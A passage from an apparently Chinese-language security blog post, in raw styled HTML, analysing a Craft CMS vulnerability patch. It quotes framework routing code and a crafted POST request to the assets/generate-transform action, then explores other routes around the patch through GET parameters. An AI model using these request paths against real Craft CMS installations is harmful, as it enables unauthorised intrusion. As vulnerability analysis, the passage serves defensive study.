&#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">action</span></p><span leaf=""> 参数的格式不符合正则规则，将 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">action</span></p><span leaf=""> 修改为 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">assets/generate-transform</span></p><span leaf=""> 即可：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">if (preg_match(&#39;/^(?:[a-z0-9_]+-)*[a-z0-9_]+$/&#39;, $id)) {</span><span leaf="">    $methodName = &#39;action&#39; . str_replace(&#39; &#39;, &#39;&#39;, ucwords(str_replace(&#39;-&#39;, &#39; &#39;, $id))); // assets/generate-transform</span><span leaf="">    if (method_exists($this, $methodName)) {</span><span leaf="">        $method = new \ReflectionMethod($this, $methodName);</span><span leaf="">        if ($method-&gt;isPublic() &amp;&amp; $method-&gt;getName() === $methodName) {</span><span leaf="">            return new InlineAction($id, $this, $methodName);</span><span leaf="">        }</span><span leaf="">    }</span><span leaf="">}</span></p></pre><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008309" class="rich_pages wxw-img" data-ratio="0.5270403146509341" data-type="png" data-w="1017" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=9046549f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRpKAsNQBPBRiaRxiby3C1L09KrECDiaTcj4KIZWtV2YpsBBkibEzQjcDC4g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">此外，在基类 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Controller</span></p><span leaf=""> 的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">beforeAction</span></p><span leaf=""> 函数中还存在 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CSRF</span></p><span leaf=""> 检查，因此上述请求需携带 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CSRF</span></p><span leaf=""> 信息，修改格式如下：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">POST</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">/</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">HTTP/1.1</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">Host</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">: </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">User-Agent</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">: </span></span><span leaf="">Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">X-CSRF-Token</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">: </span></span><span leaf="">***</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">Cookie</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">: </span></span><span leaf="">CRAFT_CSRF_TOKEN=***;XDEBUG_SESSION=PHPSTORM</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">Connection</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">: </span></span><span leaf="">close</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">Content-Type</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">: </span></span><span leaf="">application/x-www-form-urlencoded</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">Content-Length</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">: </span></span><span leaf="">32</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">action=assets/</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">generate</span></span><span leaf="">-transform&amp;assetId=</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">1</span></span><span leaf="">&amp;handle=</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">12345</span></span></span></p></pre><span leaf="">成功进入</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">actionGenerateTransform</span></p><span leaf="">函数，但是存在一个问题：修复补丁中限定</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">handle</span></p><span leaf="">类型为</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">string</span></p><span leaf="">，而通过上述请求方式传入的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">handle</span></p><span leaf="">正好也是</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">string</span></p><span leaf="">，显然通过这种请求方式无法触发漏洞：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008310" class="rich_pages wxw-img" data-ratio="0.6153091265947007" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=7d06561f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR2o2ickkupVyZNtibs8aa4V4KiaJ5zr0X7Bk2KkgLeoClaXoucEUpiappRw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><span leaf="">那还有没有其他的请求方式呢？抓取</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">admin</span></p><span leaf="">登录页面，发现</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">route</span></p><span leaf="">还可以通过</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">GET</span></p><span leaf="">参数</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">p</span></p><span leaf="">来获取，最终提取到</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">UsersController</span></p><span leaf="">的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">actionLogin</span></p><span leaf="">进行处理：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008312" class="rich_pages wxw-img" data-ratio="0.5465346534653466" data-type="png" data-w="1010" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=d70d4524&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRic1sBnze4N5uJMrDfGlXIvNT5rqicmpGpN77dSOaa2CuqicEU1HRibGaDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><span leaf="">经过分析发现，在</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_checkIfActionRequestInternal</span></p><span leaf="">函数开头还存在另一种提取</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">route</span></p><span leaf="">的方式：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008314" class="rich_pages wxw-img" data-ratio="0.42674532940019666" data-type="png" data-w="1017" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=d98bf7e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRE1DzhGY89KicLjfj26j0u9ic0NXTDa8kJ6RwsUzCr7Bsd2lDbHwlE2jA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">利用 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_getQueryStringPath</span></p><span leaf=""> 提取 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">GET</span></p><span leaf=""> 参数 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">p</span></p><span leaf=""> 的值并赋值给 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_path</span></p><span leaf=""> ，然后通过 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: 